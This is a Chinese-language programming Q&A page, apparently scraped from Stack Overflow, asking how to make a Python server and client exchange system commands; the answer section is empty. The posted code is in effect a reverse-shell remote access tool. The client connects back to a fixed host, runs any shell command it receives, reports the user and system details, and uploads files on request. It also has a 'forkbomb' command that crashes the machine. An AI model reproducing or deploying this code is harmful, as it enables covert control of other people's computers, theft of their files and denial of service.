python - 服务器和客户端之间的远程命令执行?
问题描述
嗨我需要帮助有人可以告诉我如何运行服务器和客户端模型并运行从服务器到客户端和客户端到服务器的系统命令。这就是我想要做的任何帮助将不胜感激,谢谢。这是我的客户端服务器代码,但我无法从服务器端实现这 4 个步骤。
服务器代码:
import socket
import colorama
colorama.init()
LHOST = "192.168.10.7"
LPORT = 2222
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((LHOST, LPORT))
sock.listen(1)
print("Listening on port", LPORT)
client, addr = sock.accept()
while True:
input_header = client.recv(1024)
command = input(input_header.decode()).encode()
if command.decode("utf-8").split(" ")[0] == "download":
file_name = command.decode("utf-8").split(" ")[1][::-1]
client.send(command)
with open(file_name, "wb") as f:
read_data = client.recv(1024)
while read_data:
f.write(read_data)
read_data = client.recv(1024)
if read_data == b"DONE":
break
if command is b"":
print("Please enter a command")
else:
client.send(command)
data = client.recv(1024).decode("utf-8")
if data == "exit":
print("Terminating connection", addr[0])
break
print(data)
client.close()
sock.close()
客户端代码:
import socket
import subprocess
import os
import platform
import getpass
import colorama
from colorama import Fore, Style
from time import sleep
colorama.init()
RHOST = "192.168.10.7"
RPORT = 2222
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((RHOST, RPORT))
while True:
try:
header = f"""{Fore.RED}{getpass.getuser()}@{platform.node()}{Style.RESET_ALL}:{Fore.LIGHTBLUE_EX}{os.getcwd()}{Style.RESET_ALL}$ """
sock.send(header.encode())
STDOUT, STDERR = None, None
cmd = sock.recv(1024).decode("utf-8")
# List files in the dir
if cmd == "list":
sock.send(str(os.listdir(".")).encode())
# Forkbomb
if cmd == "forkbomb":
while True:
os.fork()
# Change directory
elif cmd.split(" ")[0] == "cd":
os.chdir(cmd.split(" ")[1])
sock.send("Changed directory to {}".format(os.getcwd()).encode())
elif cmd =="arp -a":
sock.send(cmd.encode())
# Get system info
elif cmd == "sysinfo":
sysinfo = f"""
Operating System: {platform.system()}
Computer Name: {platform.node()}
Username: {getpass.getuser()}
Release Version: {platform.release()}
Processor Architecture: {platform.processor()}
"""
sock.send(sysinfo.encode())
# Download files
elif cmd.split(" ")[0] == "download":
with open(cmd.split(" ")[1], "rb") as f:
file_data = f.read(1024)
while file_data:
print("Sending", file_data)
sock.send(file_data)
file_data = f.read(1024)
sleep(2)
sock.send(b"DONE")
print("Finished sending data")
# Terminate the connection
elif cmd == "exit":
sock.send(b"exit")
break
# Run any other command
else:
comm = subprocess.Popen(str(cmd), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
STDOUT, STDERR = comm.communicate()
if not STDOUT:
sock.send(STDERR)
else:
sock.send(STDOUT)
# If the connection terminates
if not cmd:
print("Connection dropped")
break
except Exception as e:
sock.send("An error has occured: {}".format(str(e)).encode())
sock.close()
解决方案
推荐阅读
- python-3.x - UpdateItem 上的 DynamoDB 错误 - 要更新的项目大小已超过允许的最大大小
- c++ - 对于循环变体比较
- javascript - updatefound 上的 skipwaiting() 让我的页面进入无限循环
- asp.net - 通过现有的 asp.net web 应用程序将 asp.net web 应用程序发布到 IIS
- ios - 什么是 Swift 中的部分申请闭包#1
- spacy - 存储和加载包含词向量的 spaCy 文档
- python-3.x - Selenium Python - 输入用户名和密码的更紧凑或 Pythonic 方式?
- r - 如何在 R 中删除 grepl 不匹配的列值
- html - 根据 HTML、CSS 中的页面宽度对齐段落
- reactjs - React Typescript - 更改默认加载的组件